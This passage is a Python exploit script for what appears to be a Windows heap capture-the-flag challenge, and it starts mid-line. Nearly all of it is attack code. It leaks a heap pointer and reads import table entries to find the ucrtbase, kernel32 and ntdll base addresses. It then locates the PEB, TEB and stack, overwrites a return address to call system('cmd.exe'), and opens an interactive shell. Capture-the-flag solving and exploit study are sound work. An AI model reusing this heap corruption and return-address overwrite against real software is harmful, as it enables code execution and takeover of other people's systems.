0x70 leak = "" for i in range (8 ): edit(0 ,payload + i * "b" ) show(0 ) ru(payload) data = ru("\r\n" ) if len (data) == len (leak): leak += "\x00" else : leak += data[i] leak = u64(leak) success("leak" ,leak) payload = "0" * 0x70 payload += p64(leak) payload += p32(chunk_list) payload += p32(chunk_list + 4 ) edit(0 ,payload) free(0 ) exit_iat = exe_base + 0x30AC IsDebuggerPresent_iat = exe_base + 0x3010 backdoor(chunk_used_list + 1 ) payload = "" payload += p32(chunk_list + 4 ) payload += p32(exit_iat) payload += p32(0 ) payload += p32(IsDebuggerPresent_iat) edit(1 ,payload) show(2 ) ru("Show : " ) ucrtbase_base = u32(rc(4 )) - 0x44380 success("ucrtbase_base" ,ucrtbase_base) show(4 ) ru("Show : " ) kernel32_base = u32(rc(4 )) - 0x220d0 success("kernel32_base" ,kernel32_base) NtCreateFile_iat = kernel32_base + 0x00081fb4 payload = "" payload += p32(chunk_list + 4 ) payload += p32(NtCreateFile_iat) edit(1 ,payload) show(2 ) ru("Show : " ) ntdll_base = u32(rc(4 )) - 0x72f20 success("ntdll_base" ,ntdll_base) ntdll_PedLdr_addr = ntdll_base + 0x125d80 payload = "" payload += p32(chunk_list + 4 ) payload += p32(ntdll_PedLdr_addr - 0x64 ) edit(1 ,payload) show(2 ) ru("Show : " ) peb_addr = u32(ru("\r\n" ).ljust(4 ,"\x00" )) - 0x154 success("peb_addr" ,peb_addr) teb_addr = peb_addr + 0x3000 success("teb_addr" ,teb_addr) payload = "" payload += p32(chunk_list + 4 ) payload += p32(teb_addr) edit(1 ,payload) show(2 ) ru("Show : " ) stack_addr = u32(ru("\r\n" ).ljust(4 ,"\x00" )) - 0x154 success("stack_addr" ,stack_addr) ret_addr = stack_addr + 0x220 success("ret_addr" ,ret_addr) payload = "" payload += p32(chunk_list + 4 ) payload += p32(ret_addr) edit(1 ,payload) system_addr = ucrtbase_base + 0xec730 payload = "" payload += p32(system_addr) payload += p32(0xdeadbeef ) payload += p32(ret_addr + 0xc ) payload += "cmd.exe\x00" edit(2 ,payload) exit() r.interactive()